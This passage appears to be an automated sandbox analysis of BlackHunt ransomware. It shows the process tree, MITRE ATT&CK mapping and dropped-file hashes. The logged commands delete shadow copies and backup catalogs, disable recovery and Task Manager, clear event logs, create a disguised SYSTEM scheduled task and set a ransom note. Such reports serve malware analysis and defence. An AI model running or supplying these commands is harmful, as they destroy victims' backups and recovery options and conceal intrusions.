    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe" /F
  2⤵
  PID:2192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1276
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1312
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1192
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2800
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2580
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1996
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:488
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1104
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1496
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3484
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3632
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3512
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2104
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3472
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4000
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:612
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3380
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1980
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2840
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1584
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2212
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2960
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3736
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe"
  2⤵
  - Deletes itself
  PID:3020
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2996

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2856

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1044

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:3684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
458e91f9d55d8d767491438db37c57ac

SHA1
5b2a0a27a94b3b3732a83effdc6a9a672a81aba5

SHA256
0bb69692173286957164a006795c121f433bc29aa0d5c6a7dd64fbf72f4ccdf1

SHA512
89d9338791573cceb2c03f927a8b42ff77a7267560dbcf6245fcb1fb742655e0241a6831559a8e576c89bc1bf566a61d00a52d5e5dad124a362d6725778141a6

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
275fed8b49bc02a68e737fe5833ab1d3

SHA1
c0721f666091037ad308629934534a641882f29a

SHA256
b42727cd8fce04d653f27e1f7ebba4f10bfa0f3ce7d4a5696a662ed58d252140

SHA512
13eb9a846595c2d5fe3c08aabf6c62c35864a08e09f36692a717c0c7235b75535dd4bf43663e1b61130bc8a836376cdddbcff091d788c18e63819f572e0cebef

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9af1cb32a19298915dd7e1989008e998

SHA1
ad25174f74e35fd0c9d2bedbea205ddc408e31c9

SHA256
21af9f262bd7692b7bb866bbc7a24ce47758521d54fdb6dd8dfd0eb1580501d5

SHA512
3e62deb8d87dba023bac8d151e351302055b78e70a48f4c319a751cfabfd9fc77dca82340a0502922f7a389c02545460fa0ab7b5295a55781a48ac65b8b1ddf4

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads